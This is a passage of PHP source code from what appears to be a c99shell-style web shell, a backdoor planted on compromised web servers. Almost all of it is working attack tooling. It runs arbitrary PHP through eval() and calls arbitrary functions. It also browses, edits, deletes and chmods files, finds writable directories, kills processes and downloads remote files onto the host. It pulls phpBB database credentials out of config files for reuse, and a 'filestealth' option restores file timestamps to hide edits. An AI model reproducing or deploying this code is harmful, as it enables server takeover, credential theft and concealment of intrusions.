3693 }
3694 // Compiling table
3695 $table = array_merge($tab["cols"], $tab["head"], $tab["folders"], $tab["links"], $tab["files"]);
3696 echo "<div class=barheader>.: ";
3697 if (!empty($yx_infohead)) {
3698 echo $yx_infohead;
3699 } else {
3700 echo "Directory List (" . count($tab["files"]) . " files and " . (count($tab["folders"]) + count($tab["links"])) . " folders)";
3701 }
3702 echo " :.</div>\n";
3703 echo "<form action=\"" . $surl . "\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"" . $dspact . "\"><input type=hidden name=d value=" . $d . ">" . "<table class=explorer>";
3704 foreach ($table as $row) {
3705 echo "<tr>";
3706 foreach ($row as $v) {
3707 echo "<td>" . $v . "</td>";
3708 }
3709 echo "</tr>\r\n";
3710 }
3711 echo "</table>" . "<script>" . "function ls_setcheckboxall(status) {" . " var id = 1; var num = " . (count($table) - 2) . ";" . " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }" . "}" . "function ls_reverse_all() {" . " var id = 1; var num = " . (count($table) - 2) . ";" . " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }" . "}" . "</script>" . "<div align=\"right\">" . "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">" . "<img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\">";
3712 if (count(array_merge($sess_data["copy"], $sess_data["cut"])) > 0 and ($usefsbuff)) {
3713 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"yx_archive_" . substr(md5(rand(1, 1000) . rand(1, 1000)), 0, 5) . ".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
3714 }
3715 echo "<select name=act><option value=\"" . $act . "\">With selected:</option>";
3716 echo "<option value=delete" . ($dspact == "delete" ? " selected" : "") . ">Delete</option>";
3717 echo "<option value=chmod" . ($dspact == "chmod" ? " selected" : "") . ">Change-mode</option>";
3718 if ($usefsbuff) {
3719 echo "<option value=cut" . ($dspact == "cut" ? " selected" : "") . ">Cut</option>";
3720 echo "<option value=copy" . ($dspact == "copy" ? " selected" : "") . ">Copy</option>";
3721 echo "<option value=unselect" . ($dspact == "unselect" ? " selected" : "") . ">Unselect</option>";
3722 }
3723 echo "</select> <input type=submit value=\"Confirm\"></div>";
3724 echo "</form>";
3725 }
3726 }
3727 if ($act == "tools") //Define Yourself
3728 {
3729 }
3730 if ($act == "phpfsys") {
3731 echo "<div align=left>";
3732 $fsfunc = $phpfsysfunc;
3733 if ($fsfunc == "copy") {
3734 if (!copy($arg1, $arg2)) {
3735 echo "Failed to copy $arg1...\n";
3736 } else {
3737 echo "<b>Success!</b> $arg1 copied to $arg2\n";
3738 }
3739 } elseif ($fsfunc == "rename") {
3740 if (!rename($arg1, $arg2)) {
3741 echo "Failed to rename/move $arg1!\n";
3742 } else {
3743 echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n";
3744 }
3745 } elseif ($fsfunc == "chmod") {
3746 if (!chmod($arg1, $arg2)) {
3747 echo "Failed to chmod $arg1!\n";
3748 } else {
3749 echo "<b>Perm for $arg1 changed to $arg2!</b>\n";
3750 }
3751 } elseif ($fsfunc == "read") {
3752 $hasil = @file_get_contents($arg1);
3753 echo "<b>Filename:</b> $arg1<br>";
3754 echo "<textarea cols=150 rows=20>";
3755 echo $hasil;
3756 echo "</textarea>\n";
3757 } elseif ($fsfunc == "write") {
3758 if (@file_put_contents($d . $arg1, $arg2)) {
3759 echo "<b>Saved!</b> " . $d . $arg1;
3760 } else {
3761 echo "<div class=yxerrmsg>Couldn't write to $arg1!</div>";
3762 }
3763 } elseif ($fsfunc == "downloadbin") {
3764 $handle = fopen($arg1, "rb");
3765 $contents = '';
3766 while (!feof($handle)) {
3767 $contents .= fread($handle, 8192);
3768 }
3769 $r = @fopen($d . $arg2, 'w');
3770 if (fwrite($r, $contents)) {
3771 echo "<b>Success!</b> $arg1 saved to " . $d . $arg2 . " (" . view_size(filesize($d . $arg2)) . ")";
3772 } else {
3773 echo "<div class=yxerrmsg>Couldn't write to " . $d . $arg2 . "!</div>";
3774 }
3775 fclose($r);
3776 fclose($handle);
3777 } elseif ($fsfunc == "download") {
3778 $text = implode('', file($arg1));
3779 if ($text) {
3780 $r = @fopen($d . $arg2, 'w');
3781 if (fwrite($r, $text)) {
3782 echo "<b>Success!</b> $arg1 saved to " . $d . $arg2 . " (" . view_size(filesize($d . $arg2)) . ")";
3783 } else {
3784 echo "<div class=yxerrmsg>Couldn't write to " . $d . $arg2 . "!</div>";
3785 }
3786 fclose($r);
3787 } else {
3788 echo "<div class=yxerrmsg>Couldn't download from $arg1!</div>";
3789 }
3790 } elseif ($fsfunc == 'mkdir') {
3791 $thedir = $d . $arg1;
3792 if ($thedir != $d) {
3793 if (file_exists($thedir)) {
3794 echo "<b>Already exists:</b> " . htmlspecialchars($thedir);
3795 } elseif (!mkdir($thedir)) {
3796 echo "<b>Access denied:</b> " . htmlspecialchars($thedir);
3797 } else {
3798 echo "<b>Dir created:</b> " . htmlspecialchars($thedir);
3799 }
3800 } else {
3801 echo "Couldn't create current dir:<b> $thedir</b>";
3802 }
3803 } elseif ($fsfunc == 'fwritabledir') {
3804 function recurse_dir($dir, $max_dir)
3805 {
3806 global $dir_count;
3807 $dir_count++;
3808 if ($cdir = @dir($dir)) {
3809 while ($entry = $cdir->read()) {
3810 if ($entry != '.' && $entry != '..') {
3811 if (is_dir($dir . $entry) && is_writable($dir . $entry)) {
3812 if ($dir_count > $max_dir) {
3813 return;
3814 }
3815 echo "[" . $dir_count . "] " . $dir . $entry . "\n";
3816 recurse_dir($dir . $entry . DIRECTORY_SEPARATOR, $max_dir);
3817 }
3818 }
3819 }
3820 $cdir->close();
3821 }
3822 }
3823 if (!$arg1) {
3824 $arg1 = $d;
3825 }
3826 if (!$arg2) {
3827 $arg2 = 10;
3828 }
3829 echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
3830 echo "<pre>";
3831 recurse_dir($arg1, $arg2);
3832 echo "</pre>";
3833 $total = $dir_count - 1;
3834 echo "<b>Founds:</b> " . $total . " of <b>Max</b> $arg2";
3835 } else {
3836 if (!$arg1) {
3837 echo "<div class=yxerrmsg>No operation! Please fill parameter [A]!</div>\n";
3838 } else {
3839 if ($hasil = $fsfunc($arg1)) {
3840 echo "<b>Result of $fsfunc $arg1:</b><br>";
3841 if (!is_array($hasil)) {
3842 echo "$hasil\n";
3843 } else {
3844 echo "<pre>";
3845 foreach ($hasil as $v) {
3846 echo $v . "\n";
3847 }
3848 echo "</pre>";
3849 }
3850 } else {
3851 echo "<div class=yxerrmsg>$fsfunc $arg1 failed!</div>\n";
3852 }
3853 }
3854 }
3855 echo "</div>\n";
3856 }
3857 if ($act == "processes") {
3858 echo "<div class=barheader>.: Processes :.</div>";
3859 if (!$win) {
3860 $handler = "ps -aux" . ($grep ? " | grep '" . addslashes($grep) . "'" : "");
3861 } else {
3862 $handler = "tasklist";
3863 }
3864 $ret = myshellexec($handler);
3865 if (!$ret) {
3866 echo "Can't execute \"" . $handler . "\"!";
3867 } else {
3868 if (empty($processes_sort)) {
3869 $processes_sort = $sort_default;
3870 }
3871 $parsesort = parsesort($processes_sort);
3872 if (!is_numeric($parsesort[0])) {
3873 $parsesort = 0;
3874 }
3875 $k = $parsesort[0];
3876 if ($parsesort != "a") {
3877 $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\"><img src=\"" . $surl . "act=img&img=sort_desc\" border=\"0\"></a>";
3878 } else {
3879 $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\"><img src=\"" . $surl . "act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
3880 }
3881 $ret = htmlspecialchars($ret);
3882 if (!$win) {
3883 if ($pid) {
3884 if (is_null($sig)) {
3885 $sig = 9;
3886 }
3887 echo "Sending signal " . $sig . " to #" . $pid . "... ";
3888 if (posix_kill($pid, $sig)) {
3889 echo "OK.";
3890 } else {
3891 echo "ERROR.";
3892 }
3893 }
3894 while (ereg(" ", $ret)) {
3895 $ret = str_replace(" ", " ", $ret);
3896 }
3897 $stack = explode("\n", $ret);
3898 $head = explode(" ", $stack[0]);
3899 unset($stack[0]);
3900 for ($i = 0; $i < count($head); $i++) {
3901 if ($i != $k) {
3902 $head[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $i . $parsesort[1] . "\"><b>" . $head[$i] . "</b></a>";
3903 }
3904 }
3905 $prcs = array();
3906 foreach ($stack as $line) {
3907 if (!empty($line)) {
3908 echo "<tr>";
3909 $line = explode(" ", $line);
3910 $line = join(" ", array_slice($line, 10));
3911 $line = array_slice($line, 0, 11);
3912 if ($line == get_current_user()) {
3913 $line = "<font color=green>" . $line[0] . "</font>";
3914 }
3915 $line[] = "<a href=\"" . $surl . "act=processes&d=" . urlencode($d) . "&pid=" . $line[1] . "&sig=9\"><u>KILL</u></a>";
3916 $prcs[] = $line;
3917 echo "</tr>";
3918 }
3919 }
3920 }
3921 //For Windows - Fixed By TeamHack
3922 else {
3923 while (ereg(" ", $ret)) {
3924 $ret = str_replace(" ", " ", $ret);
3925 }
3926 while (ereg("=", $ret)) {
3927 $ret = str_replace("=", "", $ret);
3928 }
3929 $ret = convert_cyr_string($ret, "d", "w");
3930 $stack = explode("\n", $ret);
3931 unset($stack[0], $stack[2]);
3932 $stack = array_values($stack);
3933 $stack[0] = str_replace("Image Name", "ImageName", $stack[0]);
3934 $stack[0] = str_replace("Session Name", "SessionName", $stack[0]);
3935 $stack[0] = str_replace("Mem Usage", "MemoryUsage", $stack[0]);
3936 $head = explode(" ", $stack[0]);
3937 $stack = array_slice($stack, 1);
3938 $head = array_values($head);
3939 if ($parsesort != "a") {
3940 $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\"><img src=\"" . $surl . "act=img&img=sort_desc\" border=\"0\"></a>";
3941 } else {
3942 $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\"><img src=\"" . $surl . "act=img&img=sort_asc\" border=\"0\"></a>";
3943 }
3944 if ($k > count($head)) {
3945 $k = count($head) - 1;
3946 }
3947 for ($i = 0; $i < count($head); $i++) {
3948 if ($i != $k) {
3949 $head[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $i . $parsesort[1] . "\"><b>" . trim($head[$i]) . "</b></a>";
3950 }
3951 }
3952 $prcs = array();
3953 unset($stack[0]);
3954 foreach ($stack as $line) {
3955 if (!empty($line)) {
3956 $line = explode(" ", $line);
3957 $line = str_replace(".", "", $line[4]);
3958 $line = intval($line[4]) * 1024;
3959 unset($line[5]);
3960 $prcs[] = $line;
3961 }
3962 }
3963 }
3964 $head[$k] = "<b>" . $head[$k] . "</b>" . $y;
3965 $v = $processes_sort[0];
3966 usort($prcs, "tabsort");
3967 if ($processes_sort == "d") {
3968 $prcs = array_reverse($prcs);
3969 }
3970 $tab = array();
3971 $tab[] = $head;
3972 $tab = array_merge($tab, $prcs);
3973 echo "<table class=explorer>";
3974 foreach ($tab as $i => $k) {
3975 echo "<tr>";
3976 foreach ($k as $j => $v) {
3977 if ($win and $i > 0 and $j == 4) {
3978 $v = view_size($v);
3979 }
3980 echo "<td>" . $v . "</td>";
3981 }
3982 echo "</tr>";
3983 }
3984 echo "</table>";
3985 }
3986 }
3987 if ($act == "eval") {
3988 if (!empty($eval)) {
3989 echo "Result of execution this PHP-code:<br>";
3990 $tmp = ob_get_contents();
3991 $olddir = realpath(".");
3992 @chdir($d);
3993 if ($tmp) {
3994 ob_clean();
3995 eval($eval);
3996 $ret = ob_get_contents();
3997 $ret = convert_cyr_string($ret, "d", "w");
3998 ob_clean();
3999 echo $tmp;
4000 if ($eval_txt) {
4001 $rows = count(explode("\r\n", $ret)) + 1;
4002 if ($rows < 10) {
4003 $rows = 10;
4004 }
4005 echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
4006 } else {
4007 echo $ret . "<br>";
4008 }
4009 } else {
4010 if ($eval_txt) {
4011 echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
4012 eval($eval);
4013 echo "</textarea>";
4014 } else {
4015 echo $ret;
4016 }
4017 }
4018 @chdir($olddir);
4019 } else {
4020 echo "<b>PHP-code Execution (Use without PHP Braces!)</b>";
4021 if (empty($eval_txt)) {
4022 $eval_txt = TRUE;
4023 }
4024 }
4025 echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">" . htmlspecialchars($eval) . "</textarea><input type=hidden name=\"d\" value=\"" . $dispd . "\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\"";
4026 if ($eval_txt) {
4027 echo " checked";
4028 }
4029 echo "></form>";
4030 }
4031 if ($act == "f") {
4032 echo "<div align=left>";
4033 if ((!is_readable($d . $f) or is_dir($d . $f)) and $ft != "edit") {
4034 if (file_exists($d . $f)) {
4035 echo "<center><b>Permision denied (" . htmlspecialchars($d . $f) . ")!</b></center>";
4036 } else {
4037 echo "<center><b>File does not exists (" . htmlspecialchars($d . $f) . ")!</b><br><a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=edit&d=" . urlencode($d) . "&c=1\"><u>Create</u></a></center>";
4038 }
4039 } else {
4040 $r = @file_get_contents($d . $f);
4041 $ext = explode(".", $f);
4042 $c = count($ext) - 1;
4043 $ext = $ext[$c];
4044 $ext = strtolower($ext);
4045 $rft = "";
4046 foreach ($ftypes as $k => $v) {
4047 if (in_array($ext, $v)) {
4048 $rft = $k;
4049 break;
4050 }
4051 }
4052 if (eregi("sess_(.*)", $f)) {
4053 $rft = "phpsess";
4054 }
4055 if (empty($ft)) {
4056 $ft = $rft;
4057 }
4058 $arr = array(
4059 array(
4060 "<img src=\"" . $surl . "act=img&img=ext_diz\" border=\"0\">",
4061 "info"
4062 ),
4063 array(
4064 "<img src=\"" . $surl . "act=img&img=ext_html\" border=\"0\">",
4065 "html"
4066 ),
4067 array(
4068 "<img src=\"" . $surl . "act=img&img=ext_txt\" border=\"0\">",
4069 "txt"
4070 ),
4071 array(
4072 "Code",
4073 "code"
4074 ),
4075 array(
4076 "Session",
4077 "phpsess"
4078 ),
4079 array(
4080 "<img src=\"" . $surl . "act=img&img=ext_exe\" border=\"0\">",
4081 "exe"
4082 ),
4083 array(
4084 "SDB",
4085 "sdb"
4086 ),
4087 array(
4088 "<img src=\"" . $surl . "act=img&img=ext_gif\" border=\"0\">",
4089 "img"
4090 ),
4091 array(
4092 "<img src=\"" . $surl . "act=img&img=ext_ini\" border=\"0\">",
4093 "ini"
4094 ),
4095 array(
4096 "<img src=\"" . $surl . "act=img&img=download\" border=\"0\">",
4097 "download"
4098 ),
4099 array(
4100 "<img src=\"" . $surl . "act=img&img=ext_rtf\" border=\"0\">",
4101 "notepad"
4102 ),
4103 array(
4104 "<img src=\"" . $surl . "act=img&img=change\" border=\"0\">",
4105 "edit"
4106 )
4107 );
4108 echo "<b>Viewing file: <img src=\"" . $surl . "act=img&img=ext_" . $ext . "\" border=\"0\"> " . $f . " (" . view_size(filesize($d . $f)) . ") " . view_perms_color($d . $f) . "</b><br>Select action/file-type:<br>";
4109 foreach ($arr as $t) {
4110 if ($t == $rft) {
4111 echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><font color=green>" . $t[0] . "</font></a>";
4112 } elseif ($t == $ft) {
4113 echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><b><u>" . $t[0] . "</u></b></a>";
4114 } else {
4115 echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><b>" . $t[0] . "</b></a>";
4116 }
4117 echo " (<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&white=1&d=" . urlencode($d) . "\" target=\"_blank\">+</a>) |";
4118 }
4119 echo "<hr size=\"1\" noshade>";
4120 if ($ft == "info") {
4121 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> " . $d . $f . "</td></tr><tr><td><b>Size</b></td><td> " . view_size(filesize($d . $f)) . "</td></tr><tr><td><b>MD5</b></td><td> " . md5_file($d . $f) . "</td></tr>";
4122 if (!$win) {
4123 echo "<tr><td><b>Owner/Group</b></td><td> ";
4124 $ow = posix_getpwuid(fileowner($d . $f));
4125 $gr = posix_getgrgid(filegroup($d . $f));
4126 echo ($ow["name"] ? $ow["name"] : fileowner($d . $f)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d . $f));
4127 }
4128 echo "<tr><td><b>Perms</b></td><td><a href=\"" . $surl . "act=chmod&f=" . urlencode($f) . "&d=" . urlencode($d) . "\">" . view_perms_color($d . $f) . "</a></td></tr><tr><td><b>Create time</b></td><td> " . date("d/m/Y H:i:s", filectime($d . $f)) . "</td></tr><tr><td><b>Access time</b></td><td> " . date("d/m/Y H:i:s", fileatime($d . $f)) . "</td></tr><tr><td><b>MODIFY time</b></td><td> " . date("d/m/Y H:i:s", filemtime($d . $f)) . "</td></tr></table>";
4129 $fi = fopen($d . $f, "rb");
4130 if ($fi) {
4131 if ($fullhexdump) {
4132 echo "<b>FULL HEXDUMP</b>";
4133 $str = fread($fi, filesize($d . $f));
4134 } else {
4135 echo "<b>HEXDUMP PREVIEW</b>";
4136 $str = fread($fi, $hexdump_lines * $hexdump_rows);
4137 }
4138 $n = 0;
4139 $a0 = "00000000<br>";
4140 $a1 = "";
4141 $a2 = "";
4142 for ($i = 0; $i < strlen($str); $i++) {
4143 $a1 .= sprintf("%02X", ord($str[$i])) . " ";
4144 switch (ord($str[$i])) {
4145 case 0:
4146 $a2 .= "<font>0</font>";
4147 break;
4148 case 32:
4149 case 10:
4150 case 13:
4151 $a2 .= " ";
4152 break;
4153 default:
4154 $a2 .= htmlspecialchars($str[$i]);
4155 }
4156 $n++;
4157 if ($n == $hexdump_rows) {
4158 $n = 0;
4159 if ($i + 1 < strlen($str)) {
4160 $a0 .= sprintf("%08X", $i + 1) . "<br>";
4161 }
4162 $a1 .= "<br>";
4163 $a2 .= "<br>";
4164 }
4165 }
4166 echo "<table border=1 bgcolor=#666666>" . "<tr><td bgcolor=#666666>" . $a0 . "</td>" . "<td bgcolor=#000000>" . $a1 . "</td>" . "<td bgcolor=#000000>" . $a2 . "</td>" . "</tr></table><br>";
4167 }
4168 $encoded = "";
4169 if ($base64 == 1) {
4170 echo "<b>Base64 Encode</b><br>";
4171 $encoded = base64_encode(file_get_contents($d . $f));
4172 } elseif ($base64 == 2) {
4173 echo "<b>Base64 Encode + Chunk</b><br>";
4174 $encoded = chunk_split(base64_encode(file_get_contents($d . $f)));
4175 } elseif ($base64 == 3) {
4176 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
4177 $encoded = base64_encode(file_get_contents($d . $f));
4178 $encoded = substr(preg_replace("!.{1,76}!", "'\\0'.\n", $encoded), 0, -2);
4179 } elseif ($base64 == 4) {
4180 $text = file_get_contents($d . $f);
4181 $encoded = base64_decode($text);
4182 echo "<b>Base64 Decode";
4183 if (base64_encode($encoded) != $text) {
4184 echo " (failed)";
4185 }
4186 echo "</b><br>";
4187 }
4188 if (!empty($encoded)) {
4189 echo "<textarea cols=80 rows=10>" . htmlspecialchars($encoded) . "</textarea><br><br>";
4190 }
4191 echo "<b>HEXDUMP:</b><nobr> [<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&fullhexdump=1&d=" . urlencode($d) . "\">Full</a>] [<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&d=" . urlencode($d) . "\">Preview</a>]<br><b>Base64: </b>
4192<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=1&d=" . urlencode($d) . "\">Encode</a>] </nobr>
4193<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=2&d=" . urlencode($d) . "\">+chunk</a>] </nobr>
4194<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=3&d=" . urlencode($d) . "\">+chunk+quotes</a>] </nobr>
4195<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=4&d=" . urlencode($d) . "\">Decode</a>] </nobr>
4196<P>";
4197 } elseif ($ft == "html") {
4198 if ($white) {
4199 @ob_clean();
4200 }
4201 echo $r;
4202 if ($white) {
4203 c99shexit();
4204 }
4205 } elseif ($ft == "txt") {
4206 echo "<pre>" . htmlspecialchars($r) . "</pre>";
4207 } elseif ($ft == "ini") {
4208 echo "<pre>";
4209 var_dump(parse_ini_file($d . $f, TRUE));
4210 echo "</pre>";
4211 } elseif ($ft == "phpsess") {
4212 echo "<pre>";
4213 $v = explode("|", $r);
4214 echo $v[0] . "<br>";
4215 var_dump(unserialize($v[1]));
4216 echo "</pre>";
4217 } elseif ($ft == "exe") {
4218 $ext = explode(".", $f);
4219 $c = count($ext) - 1;
4220 $ext = $ext[$c];
4221 $ext = strtolower($ext);
4222 $rft = "";
4223 foreach ($exeftypes as $k => $v) {
4224 if (in_array($ext, $v)) {
4225 $rft = $k;
4226 break;
4227 }
4228 }
4229 $cmd = str_replace("%f%", $f, $rft);
4230 echo "<b>Execute file:</b><form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"" . htmlspecialchars($cmd) . "\" size=\"" . (strlen($cmd) + 2) . "\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"" . htmlspecialchars($d) . "\"><br><input type=submit name=submit value=\"Execute\"></form>";
4231 } elseif ($ft == "sdb") {
4232 echo "<pre>";
4233 var_dump(unserialize(base64_decode($r)));
4234 echo "</pre>";
4235 } elseif ($ft == "code") {
4236 if (ereg("php" . "BB 2.(.*) auto-generated config file", $r)) {
4237 $arr = explode("\n", $r);
4238 if (count($arr == 18)) {
4239 include($d . $f);
4240 echo "<b>phpBB configuration is detected in this file!<br>";
4241 if ($dbms == "mysql4") {
4242 $dbms = "mysql";
4243 }
4244 if ($dbms == "mysql") {
4245 echo "<a href=\"" . $surl . "act=sql&sql_server=" . htmlspecialchars($dbhost) . "&sql_login=" . htmlspecialchars($dbuser) . "&sql_passwd=" . htmlspecialchars($dbpasswd) . "&sql_port=3306&sql_db=" . htmlspecialchars($dbname) . "\"><b><u>Connect to DB</u></b></a><br><br>";
4246 } else {
4247 echo "But, you can't connect to forum sql-base, because db-software=\"" . $dbms . "\" is not supported by " . $sh_name . ". Please, report us for fix.";
4248 }
4249 echo "Parameters for manual connect:<br>";
4250 $cfgvars = array(
4251 "dbms" => $dbms,
4252 "dbhost" => $dbhost,
4253 "dbname" => $dbname,
4254 "dbuser" => $dbuser,
4255 "dbpasswd" => $dbpasswd
4256 );
4257 foreach ($cfgvars as $k => $v) {
4258 echo htmlspecialchars($k) . "='" . htmlspecialchars($v) . "'<br>";
4259 }
4260 echo "</b><hr size=\"1\" noshade>";
4261 }
4262 }
4263 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: " . $highlight_background . ";\">";
4264 if (!empty($white)) {
4265 @ob_clean();
4266 }
4267 highlight_file($d . $f);
4268 if (!empty($white)) {
4269 c99shexit();
4270 }
4271 echo "</div>";
4272 } elseif ($ft == "download") {
4273 @ob_clean();
4274 header("Content-type: application/octet-stream");
4275 header("Content-length: " . filesize($d . $f));
4276 header("Content-disposition: attachment; filename=\"" . $f . "\";");
4277 echo $r;
4278 exit;
4279 } elseif ($ft == "notepad") {
4280 @ob_clean();
4281 header("Content-type: text/plain");
4282 header("Content-disposition: attachment; filename=\"" . $f . ".txt\";");
4283 echo ($r);
4284 exit;
4285 } elseif ($ft == "img") {
4286 $inf = getimagesize($d . $f);
4287 if (!$white) {
4288 if (empty($imgsize)) {
4289 $imgsize = 20;
4290 }
4291 $width = $inf[0] / 100 * $imgsize;
4292 $height = $inf[1] / 100 * $imgsize;
4293 echo "<center><b>Size:</b> ";
4294 $sizes = array(
4295 "100",
4296 "50",
4297 "20"
4298 );
4299 foreach ($sizes as $v) {
4300 echo "<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=img&d=" . urlencode($d) . "&imgsize=" . $v . "\">";
4301 if ($imgsize != $v) {
4302 echo $v;
4303 } else {
4304 echo "<u>" . $v . "</u>";
4305 }
4306 echo "</a> ";
4307 }
4308 echo "<br><br><img src=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=img&white=1&d=" . urlencode($d) . "\" width=\"" . $width . "\" height=\"" . $height . "\" border=\"1\"></center>";
4309 } else {
4310 @ob_clean();
4311 $ext = explode($f, ".");
4312 $ext = $ext[count($ext) - 1];
4313 header("Content-type: " . $inf["mime"]);
4314 readfile($d . $f);
4315 exit;
4316 }
4317 } elseif ($ft == "edit") {
4318 if (!empty($submit)) {
4319 if ($filestealth) {
4320 $stat = stat($d . $f);
4321 }
4322 $fp = fopen($d . $f, "w");
4323 if (!$fp) {
4324 echo "<b>Can't write to file!</b>";
4325 } else {
4326 echo "<b>Saved!</b>";
4327 fwrite($fp, $edit_text);
4328 fclose($fp);
4329 if ($filestealth) {
4330 touch($d . $f, $stat[9], $stat[8]);
4331 }
4332 $r = $edit_text;
4333 }
4334 }
4335 $rows = count(explode("\r\n", $r));
4336 if ($rows < 10) {
4337 $rows = 10;
4338 }
4339 if ($rows > 30) {
4340 $rows = 30;
4341 }
4342 echo "<form action=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=edit&d=" . urlencode($d) . "\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='" . addslashes($surl . "act=ls&d=" . substr($d, 0, -1)) . "';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"" . $rows . "\">" . htmlspecialchars($r) . "</textarea></form>";
4343 } elseif (!empty($ft)) {
4344 echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";
4345 } else {
4346 echo "<center><b>Unknown extension (" . $ext . "), please, select type manually.</b></center>";
4347 }
4348 }
4349 echo "</div>\n";
4350 }
4351} else {
4352 @ob_clean();
4353 $images = array(
4354 "arrow_ltr" => "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
4355 "back" => "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8" . "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt" . "Wg0JADs=",
4356 "buffer" => "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo" . "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGyxChg+xhnRB+ptLOhai1crEmD" . "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
4357 "change" => "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+" . "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA" . "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC" . "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA" . "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL" . "zMshADs=",
